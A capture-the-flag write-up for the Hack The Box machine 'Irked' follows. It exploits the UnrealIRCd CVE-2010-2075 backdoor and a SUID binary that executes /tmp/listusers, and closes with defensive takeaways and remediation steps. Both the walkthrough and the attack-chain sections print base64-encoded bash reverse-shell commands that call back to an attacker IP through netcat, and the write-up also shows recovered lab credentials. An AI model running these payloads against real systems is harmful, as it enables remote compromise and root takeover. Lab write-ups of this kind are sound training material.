Irked writeup
Box name: Irked
Difficulty: Easy
OS: Linux
Overview: Irked is a pretty simple and straight-forward box which requires basic enumeration skills. It shows the need to scan all ports on machines and to investigate any out of the place binaries found while enumerating a system.
Link: https://app.hackthebox.com/machines/Irked?tab=machine_info
Machine IP: 10.129.74.125
Ran rustscan against the machine.
rustscan -a 10.129.74.125 –ulimit 5000 -b 500 — -A -Pn
Considering the name, I’m betting one of the IRC ports will deal with the foothold. Navigating to the site we just get a picture with text.
Read more on working with IRC ports. We can footprint the ports with irssi.
irssi -c 10.10.10.117 –port 8067
This gives us the version Unreal3.2.8.1. Researched exploits for the version and came across this which has a Metasploit module https://www.rapid7.com/db/modules/exploit/unix/irc/unreal_ircd_3281_backdoor/. This is vulnerable to CVE-2010-2075. I played around with metasploit but for some reason I was unable to get a shell successfully. Did more research on exactly what the exploit is doing https://www.exploit-db.com/exploits/13853 & https://www.exploit-db.com/exploits/16922. It looks like if you prepend AB; to any command when communicating with the IRC port it executes it. I played with this for a bit and we can get a shell successfully here.
penelope -p 4444
echo ‘bash -i >& /dev/tcp/10.10.16.27/4444 0>&1’ | base64
echo ‘AB; echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4yNy80NDQ0IDA+JjEK | base64 -d | bash’ | nc 10.129.74.125 8067
During local enumeration we see another user djmardov in /home. Unfortunately we can not yet read user.txt. I poked around his profile and interestingly in Documents we discover a .backup and a symlink for user.txt.
Ls -la
In the backup we can see what looks to be a password referencing steganography.
Cat .backup
We saw an image file on the webserver earlier. Downloaded that and ran stegseek.
stegseek irked.jpg pass.txt
cat irked.jpg.out
djmardov:Kab6h+m+bbp2J:HG
We can successfully ssh into the machine with these credentials and read user.txt.
ssh djmardov@10.129.74.125
Did local enumeration and we come across an interesting SUID, /usr/bin/viewuser.
find / -perm -4000 -user root 2>/dev/null
When I run it, it says /tmp/listusers is not found.
/usr/bin/viewuser
I created a listusers in tmp that would be similar to the same shell as earlier and set it to SUID as well.
penelope -p 4445
echo ‘echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjI3LzQ0NDUgMD4mMQ== | base64 -d | bash’ > listusers
chmod 4777 listusers
/usr/bin/viewuser
And we get a shell as root and read root.txt.
GG
Attack Chain
1 – Reconnaissance
Ran RustScan and identified ports 22 (SSH), 80 (HTTP), and IRC ports including 8067. Browsed to the web server and found a static page with an image. Researched IRC enumeration and connected to port 8067 with irssi to identify the service version as UnrealIRCd 3.2.8.1.
rustscan -a 10.129.74.125 –ulimit 5000 -b 500 — -A -Pn
irssi -c 10.129.74.125 –port 8067
2 – Initial Access – UnrealIRCd backdoor – CVE-2010-2075
Researched UnrealIRCd 3.2.8.1 and found CVE-2010-2075, a hardcoded backdoor that executes any system command prefixed with AB; when sent to the IRC port. Metasploit module did not produce a stable shell so exploited manually by sending a base64-encoded bash reverse shell payload via netcat. Caught a shell as the ircd user.
echo ‘AB; echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4yNy80NDQ0IDA+JjEK | base64 -d | bash’ | nc 10.129.74.125 8067
3 – Steganography and lateral movement
Found a second user djmardov in /home. Could not read user.txt directly. Found a .backup file in djmardov’s Documents directory containing a hint about steganography and a password. Downloaded the image from the web server and ran stegseek against it using the hint password. Recovered djmardov’s SSH credentials from the hidden data. SSH’d in and retrieved user.txt.
stegseek irked.jpg pass.txt
Credentials recovered: djmardov:Kab6h+m+bbp2J:HG
4 – Privilege Escalation – SUID binary executing a missing file
Enumerated SUID binaries and found /usr/bin/viewuser. Running it reported that /tmp/listusers did not exist. Created a malicious listusers script in /tmp that executed a bash reverse shell, set the SUID bit, and executed viewuser to trigger it as root. Retrieved root.txt.
echo ‘echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjI3LzQ0NDUgMD4mMQ== | base64 -d | bash’ > /tmp/listusers
chmod 4777 /tmp/listusers
/usr/bin/viewuser
Key Takeaways
- UnrealIRCd 3.2.8.1 hardcoded backdoor – CVE-2010-2075 (CVSS 10.0 Critical) – The IRC server was running a version with a deliberately inserted backdoor that executed arbitrary commands with no authentication required. Any network-exposed service must be verified against known CVEs before deployment. Software from unofficial or modified sources must be treated as untrusted.
- Sensitive backup file storing a steganography hint in a user home directory – The .backup file in djmardov’s Documents contained a reference to a password used to hide credentials in a web-accessible image. Hint files, backup files, and notes must never be stored in user home directories and credentials must never be hidden using steganography on public-facing assets.
- Credentials hidden in a steganographic image on the web server – djmardov’s SSH password was embedded in an image served publicly on port 80. Any compromise of the web server or knowledge of the technique would expose the credential. Credentials must be stored in a secrets manager and must never be embedded in media files in any form.
- SUID binary executing a script from /tmp without validation – The viewuser binary executed /tmp/listusers without verifying its existence, ownership, or integrity. Any SUID binary that loads or executes files from user-writable directories is trivially exploitable. SUID binaries must use absolute paths to trusted locations and must verify the integrity and ownership of any file they execute.
- IRC service exposed on a non-standard port – The vulnerable IRC service was running on port 8067 which may have been overlooked with a limited port scan. All ports must be scanned during assessments and all exposed services must be assessed regardless of whether they are on standard ports.
Remediation
[Immediate] Remove or replace UnrealIRCd 3.2.8.1
Take the IRC service offline immediately. CVE-2010-2075 is a deliberate backdoor inserted into a compromised source distribution and the software must be removed and replaced with a verified clean version from the official source. Verify the integrity of any replacement using the official checksum before deployment.
[Immediate] Remove the .backup file and rotate djmardov’s credentials
Delete the .backup file and the steganographic image from the web server. Rotate djmardov’s SSH password immediately. Audit all user home directories for hint files, backup files, and notes containing credential references and remove any findings.
[Immediate] Fix or remove the viewuser SUID binary
Remove the SUID bit from viewuser immediately using chmod u-s /usr/bin/viewuser. If the binary is required, rewrite it to use an absolute path to a root-owned script in a directory not writable by non-root users, and validate the ownership and permissions of the target file before executing it. Audit all SUID binaries for similar missing file dependencies.
[Short-term] Restrict IRC service exposure
If IRC is operationally required, restrict access to the IRC port to authorized IP addresses via firewall rules. Require authentication for all IRC connections and deploy a supported actively maintained IRC server. Block all IRC ports at the network perimeter if the service has no external user requirement.
[Long-term] Implement a full port scan and service audit baseline
Define a security assessment standard requiring all 65535 ports to be scanned on every target. Establish a process for verifying the integrity of all installed software against official checksums. Include IRC, XMPP, and other communication service configurations in the regular penetration testing scope. Audit all SUID binaries across the environment on a recurring basis.
Leave a Reply